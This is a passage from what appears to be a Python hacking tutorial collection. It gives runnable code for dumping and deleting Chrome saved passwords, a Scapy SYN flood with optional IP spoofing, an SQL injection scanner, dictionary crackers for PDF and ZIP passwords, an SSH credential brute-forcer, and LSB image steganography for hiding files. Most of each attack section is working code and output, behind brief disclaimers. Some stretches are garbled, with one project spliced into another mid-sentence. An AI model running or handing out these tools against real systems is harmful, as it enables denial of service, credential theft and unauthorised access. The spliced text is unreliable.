The output should be something like this format (obviously, I'm sharing fake credentials): Origin URL: https://accounts.google.com/SignUp Action URL: ttps://accounts.google.com/SignUp Username: [email protected] Password: rU91aQktOuqVzeq Creation date: 2020-05-25 07:50:41.416711 Last Used: 2020-05-25 07:50:41.416711 ==================================================

Origin URL: https://cutt.ly/register Action URL: https://cutt.ly/register Username: [email protected] Password: AfE9P2o5f5U Creation date: 2020-07-13 08:31:25.142499 Last Used: 2020-07-13 09:46:24.375584 ==================================================

Great, now you're aware that a lot of sensitive information is in your machine and is easily readable using scripts like this one. Disclaimer: Please run this script on your machine or on a machine you have permission to access, we do not take any responsibility for any misuse.

Deleting Passwords As you just saw, saved passwords on Chrome are quite dangerous to leave them there. Now you're maybe wondering how we can protect ourselves from malicious scripts like this. In this section, we will write a script to access that database and delete all rows from logins table: import sqlite3 import os db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") db = sqlite3.connect(db_path) cursor = db.cursor() # `logins` table has the data we need cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")

n_logins = len(cursor.fetchall()) print(f"Deleting a total of {n_logins} logins...") cursor.execute("delete from logins") cursor.connection.commit()

This will require you to close the Chrome browser and then run it, here is my output: Deleting a total of 204 logins...

Once you open Chrome this time, you'll notice that auto-complete on login forms is not there anymore. Run the first script as well, and you'll notice it outputs nothing, so we have successfully protected ourselves from this!

Conclusion In this tutorial, you learned how to write a Python script to extract Chrome passwords on Windows, as well as deleting them to prevent malicious users from being able to access them. Note that in this tutorial we have only talked about "Login Data" file, which contains the login credentials. I invite you to explore that directory furthermore. If you want to extract Chrome cookies, this tutorial walks you through extracting and decrypting Chrome cookies in a similar way. For example, there is "History" file that has all the visited URLs as well as keyword searches with a bunch of other metadata. There is also "Cookies" , "Media History" , "Preferences" , "QuotaManager" , "Reporting and NEL" , "Shortcuts" , "Top Sites" and "Web Data" . These are all SQLite databases that you can access, make sure you make a

and then open a database, so you won't close Chrome whenever you want to access it.

PROJECT 10: Make a SYN Flooding Attack in Python Learn how to use Scapy library in Python to perform a TCP SYN Flooding attack, which is a form of denial of service attacks.

A SYN flood attack is a common form of a denial of service attack in which an attacker sends a sequence of SYN requests to the target system (can be a router, firewall, Intrusion Prevention Systems (IPS), etc.) in order to consume its resources, preventing legitimate clients from establishing a regular connection. TCP SYN flood exploits the first part of the TCP three-way handshake, and since every connection using the TCP protocol requires it, this attack proves to be dangerous and can take down several network components. To understand SYN flood, we first need to talk about the TCP three-way handshake:

When a client wants to establish a connection to a server via TCP protocol, the client and server exchange a series of messages: The client requests a connection by sending a SYN message to the server. The server responds with a SYN-ACK message (acknowledges the request). The client responds back with an ACK, and then the connection is started. SYN flood attack involves a malicious user that sends SYN packets repeatedly without responding with ACK, and often with different source ports, which makes the server unaware of the attack and responds to each attempt with a SYN-ACK packet from each port (The red and green part of the above image). In this way, the server will quickly be unresponsive to legitimate clients. Related Tutorial: How to Make a DHCP Listener using Scapy in Python. This tutorial will implement a SYN flood attack using the Scapy library in Python. To get started, you need to install Scapy:

pip3 install scapy

Open up a new Python file and import Scapy: from scapy.all import *

I'm going to test this on my local router, which has the private IP address of 192.168.1.1: # target IP address (should be a testing router/firewall) target_ip = "192.168.1.1" # the target port u want to flood target_port = 80

If you want to try this against your router, make sure you have the correct IP address, you can get the default gateway address via ipconfig and ip route commands in Windows and macOS/Linux, respectively. The target port is HTTP since I want to flood the web interface of my router. Now let's forge our SYN packet, starting with IP layer: # forge IP packet with target ip as the destination IP address ip = IP(dst=target_ip) # or if you want to perform IP Spoofing (will work as well) # ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)

We specified the dst as the target IP address, we can also set src address to a spoofed random IP address in the private network range (commented code) and it will work as well.

Let's forge our TCP layer: # forge a TCP SYN packet with a random source port # and the target port as the destination port tcp = TCP(sport=RandShort(), dport=target_port, flags="S")

So we're setting the source port ( sport ) to a random short (which ranges from 1 to 65535, just like ports) and the dport (destination port) as our target port, in this case, it's an HTTP service. We also set the flags to "S" which indicates the type SYN. Now let's add some flooding raw data to occupy the network: # add some flooding data (1KB in this case) raw = Raw(b"X"*1024)

Awesome, now let's stack up the layers and send the packet: # stack up the layers p = ip / tcp / raw # send the constructed packet in a loop until CTRL+C is detected send(p, loop=1, verbose=0)

So we used send() function that sends packets at layer 3, we set loop to 1 to keep sending until we hit CTRL+C, setting verbose to 0 will not print anything during the process (silent). The script is done! Now after I ran this against my router, it took a few seconds, and sure enough, the router stopped working, and I lost connection:

This is the output of the following command on Windows: $ ping -t "192.168.1.1"

It was captured from another machine other than the attacker, so the router is no longer responding. To get everything back to normal, you can either stop the attack (by hitting CTRL+C), or if the device is still not responding, go on and reboot it.

Conclusion Alright! We're done with the tutorial, if you try running the script against a local computer, you'll notice the computer gets busy, and the latency will increase significantly. You can also run the script on multiple terminals or even other machines, see if you can shut down your local computer's network!

PROJECT 11: Build a SQL Injection Scanner in Python Learn how to write a simple Python script to detect SQL Injection vulnerability on web applications using requests and BeautifulSoup in Python.

SQL injection is a code injection technique that is used to execute SQL query via the user input data to the vulnerable web application. It is one of the most common and dangerous web hacking techniques. A successful SQL injection exploit can cause a lot of harmful damage to the database and web application in general. For example, it can read sensitive data such as user passwords from the database, insert, modify and even delete data. In this tutorial, you will learn how to build a simple Python script to detect SQL injection vulnerability in web applications. Let's install required libraries for this tutorial: pip3 install requests bs4

Let's import the necessary modules: import requests from bs4 import BeautifulSoup as bs from urllib.parse import urljoin from pprint import pprint # initialize an HTTP session & set the browser s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36"

We also initialized a requests session and set the user agent. Since SQL injection is all about user inputs, we are going to need to extract web forms first. Luckily for us, I've already wrote a tutorial about extracting and filling forms in Python, we gonna need the below functions: def get_all_forms(url): """Given a `url`, it returns all forms from the HTML content""" soup = bs(s.get(url).content, "html.parser") return soup.find_all("form")

def get_form_details(form): """ This function extracts all possible useful information about an HTML `form` """ details = {} # get the form action (target url) try: action = form.attrs.get("action").lower() except: action = None # get the form method (POST, GET, etc.) method = form.attrs.get("method", "get").lower() # get all the input details such as type and name inputs = [] for input_tag in form.find_all("input"):

input_type = input_tag.attrs.get("type", "text") input_name = input_tag.attrs.get("name") input_value = input_tag.attrs.get("value", "") inputs.append({"type": input_type, "name": input_name, "value": input_value}) # put everything to the resulting dictionary details["action"] = action details["method"] = method details["inputs"] = inputs return details

uses BeautifulSoup library to extract all form tags from HTML and returns them as a Python list, whereas get_form_details() function gets a single form tag object as an argument and parses useful information about the form, such as action (the target URL), method ( GET , POST , etc) and all input field attributes ( type , name and value ). get_all_forms()

Next, we define a function that tells us whether a web page has SQL errors in it, this will be handy when checking for SQL injection vulnerability: def is_vulnerable(response): """A simple boolean function that determines whether a page is SQL Injection vulnerable from its `response`""" errors = { # MySQL "you have an error in your sql syntax;", "warning: mysql", # SQL Server "unclosed quotation mark after the character string", # Oracle "quoted string not properly terminated",

} for error in errors: # if you find one of these errors, return True if error in response.content.decode().lower(): return True # no error detected return False

Obviously, I can't define errors for all database servers, for more reliable checking, you need to use regular expressions to find error matches, check this XML file which has a lot of them (used by sqlmap utility). Now that we have all the tools, let's define the main function that searches for all forms in the web page and tries to place quote and double quote characters in input fields: def scan_sql_injection(url): # test on URL for c in "\"'": # add quote/double quote character to the URL new_url = f"{url}{c}" print("[!] Trying", new_url) # make the HTTP request res = s.get(new_url) if is_vulnerable(res): # SQL Injection detected on the URL itself, # no need to preceed for extracting forms and submitting them print("[+] SQL Injection vulnerability detected, link:", new_url) return # test on HTML forms forms = get_all_forms(url)

print(f"[+] Detected {len(forms)} forms on {url}.") for form in forms: form_details = get_form_details(form) for c in "\"'": # the data body we want to submit data = {} for input_tag in form_details["inputs"]: if input_tag["type"] == "hidden" or input_tag["value"]: # any input form that is hidden or has some value, # just use it in the form body try: data[input_tag["name"]] = input_tag["value"] + c except: pass elif input_tag["type"] != "submit": # all others except submit, use some junk data with special character data[input_tag["name"]] = f"test{c}" # join the url with the action (form request URL) url = urljoin(url, form_details["action"]) if form_details["method"] == "post": res = s.post(url, data=data) elif form_details["method"] == "get": res = s.get(url, params=data) # test whether the resulting page is vulnerable if is_vulnerable(res): print("[+] SQL Injection vulnerability detected, link:", url) print("[+] Form:") pprint(form_details) break

Before extracting forms and submitting them, the above function checks for the vulnerability in the URL first, as the URL itself may be vulnerable, this is simply done by appending quote character to the URL. We then make the request using requests library and check whether the response content has the errors that we're searching for. After that, we parse the forms and make submissions with quote characters on each form found, here is my run after testing on a known vulnerable web page: if __name__ == "__main__": url = "http://testphp.vulnweb.com/artists.php?artist=1" scan_sql_injection(url)

Output: [!] Trying http://testphp.vulnweb.com/artists.php?artist=1" [+] SQL Injection vulnerability detected, link: http://testphp.vulnweb.com/artists.php?artist=1"

As you can see, this was vulnerable in the URL itself, but after I tested this on my local vulnerable server (DVWA), I got this output: [!] Trying http://localhost:8080/DVWA-master/vulnerabilities/sqli/" [!] Trying http://localhost:8080/DVWA-master/vulnerabilities/sqli/' [+] Detected 1 forms on http://localhost:8080/DVWAmaster/vulnerabilities/sqli/. [+] SQL Injection vulnerability detected, link: http://localhost:8080/DVWAmaster/vulnerabilities/sqli/

[+] Form: {'action': '#', 'inputs': [{'name': 'id', 'type': 'text', 'value': ''}, {'name': 'Submit', 'type': 'submit', 'value': 'Submit'}], 'method': 'get'}

Note: If you want to test the script on a local vulnerable web applications like DVWA, you need to login first, I've provided the code for logging to DVWA in the script here, you'll find it as a commented code in the beginning.

Conclusion Note that I've tested this script on many vulnerable websites and it works just fine. However, if you want more reliable SQL injection tool, consider using sqlmap , it is written in Python language as well, and it automates the process of detecting as well as exploiting SQL injection flaws. You can extend this code by adding exploitation feature, this cheat sheet can help you use the right SQL commands. Or you may want to extract all website links and check for the vulnerability on all site pages, you can do it as well! Finally, try to use this ethically, we are not responsible for any misuse of this code!

PROJECT 12: in Python

Crack PDF Files

Learn how you can use pikepdf, pdf2john and other tools to crack password protected PDF files in Python.

Let us assume that you got a password-protected PDF file and it's your top priority job to access it, but unfortunately, you overlooked the password. So, at this stage, you will look for an utmost way that can give you an instant result. In this tutorial, you will learn how to: Brute force PDF files using pikepdf library in Python. Extract PDF password hash and crack it using John the Ripper utility. Crack PDF password with iSeePassword Dr.PDF program. To get started, install the required dependencies: pip3 install pikepdf tqdm

Cracking PDF Password using pikepdf pikepdf is a Python library that allows us to create, manipulate and repair PDF files. It provides a Pythonic wrapper around the C++ QPDF library. We won't be using pikepdf for that though, we just gonna need to open the password-protected PDF file, if it succeeds, that means it's a correct password, and it'll raise a PasswordError exception otherwise: import pikepdf from tqdm import tqdm # load password list passwords = [ line.strip() for line in open("wordlist.txt") ] # iterate over passwords for password in tqdm(passwords, "Decrypting PDF"):

try: # open PDF file with pikepdf.open("foo-protected.pdf", password=password) as pdf: # Password decrypted successfully, break out of the loop print("[+] Password found:", password) break except pikepdf._qpdf.PasswordError as e: # wrong password, just continue in the loop continue

First, we load a password list from wordlist.txt file in the current directory, get it here. You can use rockyou list or any other large wordlists as well. You can also use the Crunch tool to generate your own custom wordlist. Next, we iterate over the list and try to open the file with each password, by passing password argument to pikepdf.open() method, this will raise pikepdf._qpdf.PasswordError if it's an incorrect password. We used tqdm here just to print the progress on how many words are remaining, check out my result: Decrypting PDF: 43%| ████████████████████████████████████████ ▏ | 2137/5000 [00:06 hash

This will extract PDF password hash into a new file named hash , here is my result:

After I saved the password hash into hash file, I used cat command to print it to the screen. Finally, we use this hash file to crack the password:

We simply use the command "john [hashfile]". As you can see, the password is 012345 and was found with the speed of 4503p/s.

Cracking PDF Password using iSeePassword Dr.PDF Not all users are comfortable with coding in Python or using commands in Linux. So, if you're looking for an effective PDF password cracking program on Windows, then iSeePassword Dr.PDF is one of the best choice.

This PDF password cracking has an easy-to-understand UI so even the novices know how to use this program. Besides, it offers three powerful password cracking algorithms, including Dictionary, Brute-force, and Brute-

force with Mask. You're free to set several types of parameters to boost the performance.

Currently, the password cracking speed is up to 100K per second, making it one of the fastest programs for cracking PDF passwords.

Conclusion So that's it, our job is done and we have successfully cracked the PDF password using three methods: pikepdf, John The Ripper, and iSeePassword Dr.PDF. The first method takes a lot of time to break the password but is quite intuitive for Python programmers, whereas the other methods are the ultimate method to get the password of a PDF file in a short period of time. Make sure you use this for ethical and own use.

PROJECT 13: Brute Force ZIP File Passwords in Python Learn how to crack zip file passwords using dictionary attack in Python using the built-in zipfile module.

Say you're tasked to investigate a suspect's computer and you find a zip file that seems very useful but protected by a password. In this tutorial, you will write a simple Python script that tries to crack a zip file's password using dictionary attack. Note that there are more convenient tools to crack zip files in Linux, such as John the Ripper or fcrackzip (this tutorial shows you how to use them), the goal of this tutorial is to do the exact same thing but with Python programming language. We will be using Python's built-in zipfile module, and the thirdparty tqdm library for quickly printing progress bars: pip3 install tqdm

As mentioned earlier, we gonna use dictionary attack, which means we are going to need a wordlist to brute force this password-protected zip file. For this tutorial, we are going to use the big rockyou wordlist (with the size of about 133MB), if you're on Kali Linux, you can find it under the /usr/share/wordlists/rockyou.txt.gz path. Otherwise, you can download it here. You can also use the crunch tool to generate your custom wordlist as you exactly specify. Open up a new Python file and follow along: import zipfile

from tqdm import tqdm

Let's specify our target zip file along with the word list path: # the password list path you want to use, must be available in the current directory wordlist = "rockyou.txt" # the zip file you want to crack its password zip_file = "secret.zip"

To read the zip file in Python, we use the zipfile.ZipFile class that has methods to open, read, write, close, list and extract zip files (we will only use extractall() method here): # initialize the Zip File object zip_file = zipfile.ZipFile(zip_file) # count the number of words in this wordlist n_words = len(list(open(wordlist, "rb"))) # print the total number of passwords print("Total passwords to test:", n_words)

Notice we read the entire wordlist and then get only the number of passwords to test, this can prove useful for tqdm so we can track where we are in the brute-forcing process, here is the rest of the code: with open(wordlist, "rb") as wordlist: for word in tqdm(wordlist, total=n_words, unit="word"): try: zip_file.extractall(pwd=word.strip())

except: continue else: print("[+] Password found:", word.decode().strip()) exit(0) print("[!] Password not found, try other wordlist.")

Since wordlist now is a Python generator, using tqdm won't give much progress information, that's why I introduced the total parameter to give tqdm the insight on how many words are in the file. We open the wordlist and read it word by word and tries it as a password to extract the zip file, reading the entire line will come with the new line character, as a result, we use the strip() method to remove white spaces. The method extractall() will raise an exception whenever the password is incorrect, so we can pass to the next password in that case, otherwise, we print the correct password and exit out of the program. I have edited the code a little to accept the zip and wordlist files from command line arguments, check it here. Check my result: root@rockikz:~# gunzip /usr/share/wordlists/rockyou.txt.gz root@rockikz:~# python3 zip_cracker.py secret.zip /usr/share/wordlists/rockyou.txt Total passwords to test: 14344395 3%| ▉ | 435977/14344395 [01:15 path.txt

After the SSH connection, instead of iterating for commands, now we read the content of this script and execute it: # read the BASH script content from the file bash_script = open("script.sh").read() # execute the BASH script stdin, stdout, stderr = client.exec_command(bash_script) # read the standard output and print it print(stdout.read().decode()) # print errors if there are any err = stderr.read().decode() if err: print(err) # close the connection client.close()

exec_command() method executes the script using the default shell (BASH, SH, or any other) and returns standard input, standard output, and standard error respectively, we will read from stdout and stderr if there are any, and then we close the SSH connection. After the execution of the above code, a new file test_folder was created in Desktop and got a text file inside that which contain the

global $PATH variable:

Conclusion As you can see, this is useful for many scenarios, for example, you may want to manage your servers only by executing Python scripts remotely, you can do anything you want! And by the way, If you want to run more complex jobs on a remote server you might want to look into Ansible instead. You can also use Fabric library as it is a high-level Python library designed just to execute shell commands remotely over SSH, it builds on top of Invoke and Paramiko. Feel free to edit the code as you wish, for example, you may want to parse command-line arguments with argparse.

PROJECT 16:

Brute-Force SSH

Servers in Python Writing a Python script to brute-force SSH credentials on a SSH server using paramiko library in Python.

A brute-force attack is an activity that involves repetitive attempts of trying many password combinations to break into a system that requires authentication. There are a lot of open-source tools to brute-force SSH in Linux such as Hydra, Nmap, and Metasploit. However, in this tutorial, you will learn how you can make an SSH brute-force script in the Python programming language. We'll be using the paramiko library that provides us with an easy SSH client interface, let's install it: pip3 install paramiko colorama

We're using colorama just for printing in colors, nothing else. Open up a new Python file and import the required modules: import paramiko import socket import time from colorama import init, Fore

Defining some colors we gonna use: # initialize colorama init() GREEN = Fore.GREEN

RED = Fore.RED RESET = Fore.RESET BLUE = Fore.BLUE

Now let's build a function that given hostname, username, and password, it tells us whether the combination is correct: def is_ssh_open(hostname, username, password): # initialize SSH client client = paramiko.SSHClient() # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: client.connect(hostname=hostname, username=username, password=password, timeout=3) except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out. {RESET}") return False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") return False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) return is_ssh_open(hostname, username, password) else: # connection was established successfully

print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password} {RESET}") return True

A lot to cover here. First, we initialize our SSH Client using paramiko.SSHClient() class that is a high-level representation of a session with an SSH server. Second, we set the policy to use when connecting to servers without a known host key, we used paramiko.AutoAddPolicy() which is a policy for automatically adding the hostname and new host key to the local host keys, and saving it. Finally, we try to connect to the SSH server and authenticate to it using client.connect() method with 3 seconds of a timeout, this method raises: socket.timeout: when the host is unreachable during the 3 seconds. paramiko.AuthenticationException: when the username and password combination is incorrect. paramiko.SSHException: when a lot of logging attempts were performed in a short period of time, in other words, the server detects it is some kind of brute-force, we will know that and sleep for a minute and recursively call the function again with the same parameters. If none of the above exceptions were raised, then the connection is successfully established and the credentials are correct, we return True in this case. Since this is a command-line script, we will parse arguments passed in the command line: if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="SSH Bruteforce Python

script.") parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") parser.add_argument("-u", "--user", help="Host username.") # parse passed arguments args = parser.parse_args() host = args.host passlist = args.passlist user = args.user # read the file passlist = open(passlist).read().splitlines() # brute-force for password in passlist: if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") break

We basically parsed arguments to retrieve the hostname, username, and password list file and then iterate over all the passwords in the wordlist, I ran this on my local SSH server, here is a screenshot:

wordlist.txt is a Nmap password list file that contains more than 5000 passwords, I've essentially grabbed it from Kali Linux OS under the path "/usr/share/wordlists/nmap.lst".However, if you want to generate your own custom wordlist, I encourage you to use the Crunch tool.

DISCLAIMER Test this with a server or a machine that you have permission to test on, otherwise it isn't our responsibility. Alright, we are basically done with this tutorial, see how you can extend this script to use multi-threading for fast brute-forcing.

PROJECT 17: Hide Data in Images using Python Learning how to hide secret data in images using Steganography least significant bit technique in Python using OpenCV and Numpy.

In this tutorial, you will learn how you can hide data into images with Python using OpenCV and NumPy libraries. This is called Steganography. Table of content:

What is Steganography? What is the Least Significant Bit? Getting Started Handy Function to Convert Data into Binary Hiding Text Inside the Image Extracting Text from the Image Hiding Files Inside Images Running the Code Conclusion

What is Steganography? Steganography is the practice of hiding a file, message, image, or video within another file, message, image, or video. The word Steganography is derived from the Greek words "steganos" (meaning hidden or covered) and "graphe" (meaning writing). Hackers often use it to hide secret messages or data within media files such as images, videos, or audio files. Even though there are many legitimate uses for Steganography, such as watermarking, malware programmers have also been found to use it to obscure the transmission of malicious code. In this tutorial, we will write Python code to hide text messages using Least Significant Bit.

What is the Least Significant Bit? Least Significant Bit (LSB) is a technique in which the last bit of each pixel is modified and replaced with the data bit. This method only works on Lossless-compression images, which means the files are stored in a compressed format. However, this compression does not result in the data being lost or modified. PNG, TIFF, and BMP are examples of losslesscompression image file formats. As you may already know, an image consists of several pixels, each containing three values (Red, Green, and Blue); these values range

from 0 to 255. In other words, they are 8-bit values. For example, a value of 225 is 11100001 in binary, and so on. To simplify the process, let's take an example of how this technique works; say I want to hide the message "hi" in a 4x3 image. Here are the example image pixel values: [[(225, 12, 99), (155, 2, 50), (99, 51, 15), (15, 55, 22)], [(155, 61, 87), (63, 30, 17), (1, 55, 19), (99, 81, 66)], [(219, 77, 91), (69, 39, 50), (18, 200, 33), (25, 54, 190)]]

By looking at the ASCII Table, we can convert the "hi" message into decimal values and then into binary: 0110100 0110101

Now, we iterate over the pixel values one by one; after converting them to binary, we replace each least significant bit with that message bit sequentially. 225 is 11100001, we replace the last bit (highlighted), the bit in the right (1), with the first data bit (0), which results in 11100000, meaning it's 224 now. After that, we go to the next value, which is 00001100, and replace the last bit with the following data bit (1), and so on until the data is completely encoded. This will only modify the pixel values by +1 or -1, which is not visually noticeable. You can also use 2-Least Significant Bits, which will change the pixel values by a range of -3 to +3. Here are the resulting pixel values (you can check them on your own): [[(224, 13, 99), (154, 3, 50), (98, 50, 15), (15, 54, 23)],

[(154, 61, 87), (63, 30, 17), (1, 55, 19), (99, 81, 66)], [(219, 77, 91), (69, 39, 50), (18, 200, 33), (25, 54, 190)]]

You can also use the three or four least significant bits when the data you want to hide is a little bigger and won't fit your image if you use only the least significant bit. In the upcoming sections, we will add an option to use any number of bits you want.

Getting Started Now that we understand the technique we are going to use, let's dive into the Python implementation; we are going to use OpenCV to manipulate the image, you can use any other imaging library you want (such as PIL ): pip3 install opencv-python numpy

Open up a new Python file and follow along: import cv2 import numpy as np

Handy Function to Convert Data into Binary Let's start by implementing a function to convert any type of data into binary, and we will use this to convert the secret data and pixel values to binary in the encoding and decoding phases: def to_bin(data): """Convert `data` to binary format as string""" if isinstance(data, str): return ''.join([ format(ord(i), "08b") for i in data ])

elif isinstance(data, bytes): return ''.join([ format(i, "08b") for i in data ]) elif isinstance(data, np.ndarray): return [ format(i, "08b") for i in data ] elif isinstance(data, int) or isinstance(data, np.uint8): return format(data, "08b") else: raise TypeError("Type not supported.")

Hiding Text Inside the Image The below function will be responsible for hiding text data inside images: def encode(image_name, secret_data): # read the image image = cv2.imread(image_name) # maximum bytes to encode n_bytes = image.shape[0] * image.shape[1] * 3 // 8 print("[*] Maximum bytes to encode:", n_bytes) if len(secret_data) > n_bytes: raise ValueError("[!] Insufficient bytes, need bigger image or less data.") print("[*] Encoding data...") # add stopping criteria secret_data += "=====" data_index = 0 # convert data to binary binary_secret_data = to_bin(secret_data) # size of data to hide data_len = len(binary_secret_data) for row in image:

for pixel in row: # convert RGB values to binary format r, g, b = to_bin(pixel) # modify the least significant bit only if there is still data to store if data_index < data_len: # least significant red pixel bit pixel[0] = int(r[:-1] + binary_secret_data[data_index], 2) data_index += 1 if data_index < data_len: # least significant green pixel bit pixel[1] = int(g[:-1] + binary_secret_data[data_index], 2) data_index += 1 if data_index < data_len: # least significant blue pixel bit pixel[2] = int(b[:-1] + binary_secret_data[data_index], 2) data_index += 1 # if data is encoded, just break out of the loop if data_index >= data_len: break return image

Here is what the encode() function does: Reads the image using cv2.imread() function. Counts the maximum bytes available to encode the data. Checks whether we can encode all the data into the image. Adds stopping criteria, which will be an indicator for the decoder to stop decoding whenever it sees this (feel free to implement a better and more efficient one). Finally, it modifies the last bit of each pixel and replaces it with the

data bit.

Extracting Text from the Image Now here is the decoder function: def decode(image_name): print("[+] Decoding...") # read the image image = cv2.imread(image_name) binary_data = "" for row in image: for pixel in row: r, g, b = to_bin(pixel) binary_data += r[-1] binary_data += g[-1] binary_data += b[-1] # split by 8-bits all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ] # convert from bits to characters decoded_data = "" for byte in all_bytes: decoded_data += chr(int(byte, 2)) if decoded_data[-5:] == "=====": break return decoded_data[:-5]

We read the image and then get the last bits of every image pixel. After that, we keep decoding until we see the stopping criteria we used during encoding. Let's use these functions:

if __name__ == "__main__": input_image = "image.PNG" output_image = "encoded_image.PNG" secret_data = "This is a top secret message." # encode the data into the image encoded_image = encode(image_name=input_image, secret_data=secret_data) # save the output image (encoded image) cv2.imwrite(output_image, encoded_image) # decode the secret data from the image decoded_data = decode(output_image) print("[+] Decoded data:", decoded_data)

I have an example PNG image here; use whatever picture you want. Just make sure it is a Lossless-compression image format such as PNG, as discussed earlier. The above code will take image.PNG image and encode secret_data string into it, and saves it into encoded_image.PNG . After that, we use decode() function that loads the new image and decodes the hidden message in it. After the execution of the script, it will write another file "encoded_image.PNG" with precisely the same image looking but with secret data encoded in it. Here is the output: [*] Maximum bytes to encode: 125028 [*] Encoding data... [+] Decoding... [+] Decoded data: This is a top secret message.

So we can decode about 122KB (125028 bytes) on this particular image. This

will vary from one image to another based on its resolution size.

Hiding Files Inside Images In this section, we will make another script that is more advanced than the previous one, which has the following additional features: The above code only hides text data, so we'll be adding the ability to hide any binary data type, such as audio files, PDF documents, or even images! If the data we want to hide is bigger than the eighth of the image, we cannot hide it! Therefore, we add the possibility of hiding the two, three, or four least significant bits into the image. To get started, we import the necessary libraries and the to_bin() function as before: import cv2 import numpy as np import os def to_bin(data): """Convert `data` to binary format as string""" if isinstance(data, str): return ''.join([ format(ord(i), "08b") for i in data ]) elif isinstance(data, bytes): return ''.join([ format(i, "08b") for i in data ]) elif isinstance(data, np.ndarray): return [ format(i, "08b") for i in data ] elif isinstance(data, int) or isinstance(data, np.uint8): return format(data, "08b") else: raise TypeError("Type not supported.")

Now let's make the new encode() function: def encode(image_name, secret_data, n_bits=2): # read the image image = cv2.imread(image_name) # maximum bytes to encode n_bytes = image.shape[0] * image.shape[1] * 3 * n_bits // 8 print("[*] Maximum bytes to encode:", n_bytes) print("[*] Data size:", len(secret_data)) if len(secret_data) > n_bytes: raise ValueError(f"[!] Insufficient bytes ({len(secret_data)}), need bigger image or less data.") print("[*] Encoding data...") # add stopping criteria if isinstance(secret_data, str): secret_data += "=====" elif isinstance(secret_data, bytes): secret_data += b"=====" data_index = 0 # convert data to binary binary_secret_data = to_bin(secret_data) # size of data to hide data_len = len(binary_secret_data) for bit in range(1, n_bits+1): for row in image: for pixel in row: # convert RGB values to binary format r, g, b = to_bin(pixel)

# modify the least significant bit only if there is still data to store if data_index < data_len: if bit == 1: # least significant red pixel bit pixel[0] = int(r[:-bit] + binary_secret_data[data_index], 2) elif bit > 1: # replace the `bit` least significant bit of the red pixel with the data bit pixel[0] = int(r[:-bit] + binary_secret_data[data_index] + r[bit+1:], 2) data_index += 1 if data_index < data_len: if bit == 1: # least significant green pixel bit pixel[1] = int(g[:-bit] + binary_secret_data[data_index], 2) elif bit > 1: # replace the `bit` least significant bit of the green pixel with the data bit pixel[1] = int(g[:-bit] + binary_secret_data[data_index] + g[bit+1:], 2) data_index += 1 if data_index < data_len: if bit == 1: # least significant blue pixel bit pixel[2] = int(b[:-bit] + binary_secret_data[data_index], 2) elif bit > 1: # replace the `bit` least significant bit of the blue pixel with the data bit pixel[2] = int(b[:-bit] + binary_secret_data[data_index] + b[bit+1:], 2) data_index += 1

# if data is encoded, just break out of the loop if data_index >= data_len: break return image

This time, data).

secret_data

can be an

str

(hiding text) or bytes (hiding any binary

Besides that, we wrap the encoding with another for loop iterating n_bits times. The default n_bits parameter is set to 2, meaning we encode the data in the two least significant bits of each pixel, and we will pass command-line arguments to this parameter. It can be as low as 1 (won't encode much data) or as high as 6, but the resulting image will look different and a bit noisy. For the decoding part, it's the same as before, but we add the in_bytes boolean parameter to indicate whether it's binary data. If it is so, then we use bytearray() instead of a regular string to construct our decoded data: def decode(image_name, n_bits=1, in_bytes=False): print("[+] Decoding...") # read the image image = cv2.imread(image_name) binary_data = "" for bit in range(1, n_bits+1): for row in image: for pixel in row: r, g, b = to_bin(pixel) binary_data += r[-bit] binary_data += g[-bit] binary_data += b[-bit] # split by 8-bits all_bytes = [ binary_data[i: i+8] for i in range(0, len(binary_data), 8) ]

# convert from bits to characters if in_bytes: # if the data we'll decode is binary data, # we initialize bytearray instead of string decoded_data = bytearray() for byte in all_bytes: # append the data after converting from binary decoded_data.append(int(byte, 2)) if decoded_data[-5:] == b"=====": # exit out of the loop if we find the stopping criteria break else: decoded_data = "" for byte in all_bytes: decoded_data += chr(int(byte, 2)) if decoded_data[-5:] == "=====": break return decoded_data[:-5]

Next, we use the argparse module to parse command-line arguments to pass to the encode() and decode() functions: if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Steganography encoder/decoder, this Python scripts encode data within images.") parser.add_argument("-t", "--text", help="The text data to encode into the image, this only should be specified for encoding") parser.add_argument("-f", "--file", help="The file to hide into the image, this only should be specified while encoding")

parser.add_argument("-e", "--encode", help="Encode the following image") parser.add_argument("-d", "--decode", help="Decode the following image") parser.add_argument("-b", "--n-bits", help="The number of least significant bits of the image to encode", type=int, default=2) # parse the args args = parser.parse_args() if args.encode: # if the encode argument is specified if args.text: secret_data = args.text elif args.file: with open(args.file, "rb") as f: secret_data = f.read() input_image = args.encode # split the absolute path and the file path, file = os.path.split(input_image) # split the filename and the image extension filename, ext = file.split(".") output_image = os.path.join(path, f"{filename}_encoded.{ext}") # encode the data into the image encoded_image = encode(image_name=input_image, secret_data=secret_data, n_bits=args.n_bits) # save the output image (encoded image) cv2.imwrite(output_image, encoded_image) print("[+] Saved encoded image.") if args.decode: input_image = args.decode if args.file: # decode the secret data from the image and write it to file

decoded_data = decode(input_image, n_bits=args.n_bits, in_bytes=True) with open(args.file, "wb") as f: f.write(decoded_data) print(f"[+] File decoded, {args.file} is saved successfully.") else: # decode the secret data from the image and print it in the console decoded_data = decode(input_image, n_bits=args.n_bits) print("[+] Decoded data:", decoded_data)

